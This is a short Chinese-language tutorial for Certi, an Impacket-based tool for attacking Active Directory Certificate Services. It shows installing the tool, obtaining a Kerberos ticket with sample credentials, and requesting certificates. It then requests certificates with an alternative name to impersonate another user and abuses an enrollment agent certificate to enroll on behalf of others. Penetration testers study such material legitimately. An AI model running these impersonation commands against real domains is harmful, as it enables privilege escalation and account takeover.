Certi 项目使用教程
certi ADCS abuser 项目地址: https://gitcode.com/gh_mirrors/ce/certi
1. 项目介绍
Certi 是一个用于与 Active Directory 证书服务 (ADCS) 交互的工具。它允许用户请求证书并收集与证书相关的信息。Certi 是基于 Impacket 库开发的,特别感谢 @harmj0y 和 @tifkin_ 在 ADCS 方面的工作。
2. 项目快速启动
2.1 安装 Certi
首先,确保你已经安装了 Python 和 Git。然后,通过以下命令克隆并安装 Certi:
git clone https://github.com/zer1t0/certi.git
cd certi
pip install -r requirements.txt
2.2 请求证书
使用 Certi 请求证书的示例代码如下:
# 获取 TGT
getTGT.py 'contoso.local/Anakin:Vader1234'
# 设置 KRB5CCNAME 环境变量
export KRB5CCNAME=Anakin.ccache
# 请求证书
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n
3. 应用案例和最佳实践
3.1 请求带有替代名称的证书
在某些情况下,你可能需要请求一个带有替代名称的证书,以便模拟目标用户。以下是一个示例:
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
3.2 使用代理证书请求证书
如果你有权限使用代理证书,可以通过以下步骤请求另一个用户的证书:
# 请求代理证书
certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --template EnrollAgent
# 使用代理证书请求另一个用户的证书
certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --on-behalf anakin --enroll-cert Han.pfx --enroll-cert-pw admin --template EnrollWithAgent
4. 典型生态项目
Certi 通常与其他安全工具和框架一起使用,例如:
- Impacket: 一个用于网络协议的 Python 库,Certi 基于此库开发。
- BloodHound: 用于映射和分析 Active Directory 环境的工具。
- CrackMapExec: 一个用于渗透测试的工具,可以与 Certi 结合使用来测试 ADCS 的安全性。
通过这些工具的结合使用,可以更全面地评估和提升 Active Directory 环境的安全性。
certi ADCS abuser 项目地址: https://gitcode.com/gh_mirrors/ce/certi
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考